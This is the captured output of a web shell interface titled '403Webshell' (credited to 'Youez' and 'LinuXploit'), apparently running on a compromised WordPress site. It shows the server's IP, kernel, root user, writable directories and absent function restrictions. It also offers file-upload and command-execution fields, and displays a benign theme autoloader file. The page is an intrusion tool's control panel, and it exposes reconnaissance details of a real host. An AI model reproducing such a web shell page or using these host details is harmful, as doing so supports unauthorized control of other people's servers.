403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/themes/erc04961/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/themes/erc04961/includes/includes-loader.php
<?php
/**
 * The Includes Loader
 *
 * How to:
 * 1. Create a file like: class-banner-controller.php
 * 2. In the file write a class like: MInc_Banner_Controller
 * 3. The class will be autoloaded when called (no need to require/include), eg:
 *    `new MInc_Banner_Controller();` or `MInc_Banner_Controller::get_title();`
 */


// make sure this file is called by wp
defined( 'ABSPATH' ) or die();


// Register the class autoloader for
// the mozaik library
spl_autoload_register( function ( $class ) {
	$prefix = 'MOZ_';

	if ( substr( $class, 0, strlen( $prefix ) ) == $prefix ) {
		$class = substr( $class, strlen( $prefix ) );
	} else {
		return;
	}

	$class = strtolower( $class );
	$class = str_replace( '_', '-', $class );

	$path = "class-$class.php";

	foreach ( array( '' ) as $dir ) {
		if ( ! empty( $dir ) ) {
			$dir = $dir . DIRECTORY_SEPARATOR;
		}

		if ( file_exists( __DIR__ . DIRECTORY_SEPARATOR . $dir . $path ) ) {
			include $dir . $path;
			break;
		}
	}
} );

Youez - 2016 - github.com/yon3zu
LinuXploit